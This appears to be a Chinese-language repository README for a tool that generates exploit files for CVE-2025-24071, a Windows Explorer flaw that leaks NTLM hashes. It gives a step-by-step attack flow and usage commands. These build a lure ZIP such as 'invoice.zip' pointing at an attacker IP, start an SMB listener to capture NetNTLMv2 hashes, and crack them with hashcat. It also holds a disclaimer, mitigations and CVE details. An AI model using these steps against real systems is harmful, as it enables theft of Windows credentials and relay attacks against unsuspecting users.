CVE-2025-24071 — 通过 .library-ms 实现 Windows 文件资源管理器欺骗 / NTLM 哈希泄露

⚠️ 免责声明： 本工具仅供教育目的和经授权的渗透测试使用。请仅对您拥有或已获得明确书面测试许可的系统使用本工具。未经授权的使用属于违法行为。

概述

Windows 文件资源管理器会在某些文件类型出现在文件夹视图中时自动解析它们，无需用户进行双击等任何交互。受影响的版本未能正确验证 .library-ms 文件，此类文件可以定义一个指向任意远程 SMB 路径的搜索连接器。

当资源管理器渲染包含恶意 .library-ms 文件的文件夹时（例如在解压 ZIP/RAR 压缩包后立即渲染），它会静默地尝试连接到攻击者控制的 UNC 路径以解析该“库”位置。此 SMB 连接尝试会携带受害者的 NetNTLMv2 哈希，攻击者可在指定主机上捕获该流量（例如使用 impacket-smbserver 或 Responder），随后尝试离线破解或中继。

本仓库包含针对该漏洞的公开 PoC 生成器的一个极简、无依赖的重写版本：它仅使用 Python 标准库构建恶意的 .library-ms 文件并将其打包为 ZIP。

漏洞详情

工作原理

.library-ms 文件是一个 XML 文档，用于告知 Windows 资源管理器将远程或本地位置的内容显示为“库”。其 <simpleLocation><url> 元素可以指向一个 UNC 路径（\\<host>\<share>）。

在受影响的版本中，资源管理器会在文件夹被显示时立即解析该位置——除了让文件在文件夹视图中可见之外，无需双击或任何显式操作（例如，在解压包含该文件的压缩包后立即触发）。

攻击要求

攻击者控制一台受害者可访问的主机（或与受害者处于同一网络），并运行 SMB 监听器（impacket-smbserver、Responder 等）。
生成一个恶意的 .library-ms 文件，指向 \\<attacker_ip>\<share>。
将该文件投递给受害者，通常打包在 ZIP/RAR 压缩包内（本仓库自动化了该打包步骤）。
受害者解压该压缩包并在资源管理器中查看该文件夹——无需进一步交互。

利用流程

1. 在攻击者机器上启动 SMB 监听器
2. 生成一个指向 \\<attacker_ip>\<share> 的 .library-ms 文件
3. 将其打包为 ZIP 压缩包
4. 将 ZIP 投递给受害者（上传功能、电子邮件、共享等）
5. 受害者解压 ZIP，资源管理器渲染该文件夹
6. 资源管理器解析 UNC 路径 -> SMB 认证尝试 -> 捕获 NetNTLMv2 哈希
7. 离线破解该哈希（hashcat -m 5600）或进行中继

环境要求

Python 3.8+（仅标准库 — os、sys、argparse、zipfile）

生成载荷无需任何第三方依赖。捕获哈希需要在攻击者侧使用 SMB 监听器，例如 Impacket（impacket-smbserver）或 Responder。

安装

git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071

使用方法

usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]

options:
  -n NAME, --name NAME             Output base filename (no extension)
  -i IP, --ip IP                   Attacker IP to embed as the UNC path target
  -s SHARE, --share SHARE          Share name (default: shared)
  -o OUTDIR, --outdir OUTDIR       Output directory (default: current dir)
  -a, --affected-versions          Print the list of affected Windows versions and exit

示例

基本用法

python3 cve_2025_24071.py -n invoice -i 10.10.14.5

这将生成 invoice.zip，其中包含指向 \\10.10.14.5\shared 的 invoice.library-ms。

在投递文件前启动监听器

impacket-smbserver shared /tmp/smbshare -smb2support

自定义共享名称和输出目录

python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads

列出受影响的版本

python3 cve_2025_24071.py -a

缓解措施

应用适用于您 Windows 版本的 2025 年 3 月累积安全更新（或更高版本）。
在网络边界限制出站 SMB（TCP 445），以防止 NTLM 哈希泄露到外部主机。
强制启用 SMB 签名，并在可能的情况下禁用 NTLM，改用 Kerberos。
扫描上传/解压的压缩包，在 .library-ms 及类似自动解析文件类型到达最终用户工作站之前进行检测。

致谢

漏洞发现并报告给 Microsoft 者： Microsoft（通过 MSRC 致谢；撰写时原始外部报告者未公开披露）
公告发布者： Microsoft 安全响应中心 (MSRC)
公开 PoC 生成器概念参考自： ThemeHackers
标准库重写： Bardlaudian — ZIP/.library-ms 生成器的无依赖版本，未引入新的利用技术

CVE	CVE-2025-24071
受影响系统	Windows 10 (1607–22H2)、Windows 11 (22H2–24H2)、Windows Server 2012 R2 – 2025
类型	敏感信息向未授权行为者泄露 (CWE-200)
权限要求	无（未认证攻击者；需要受害者查看/解压该文件）
影响	NetNTLMv2 哈希泄露 → 离线破解或 NTLM 中继
CVSS	7.5 高危（依据 GitHub Advisory Database）/ 6.5（MSRC 基础分）
补丁	2025 年 3 月补丁星期二累积更新

CVE-2025-24071

最受欢迎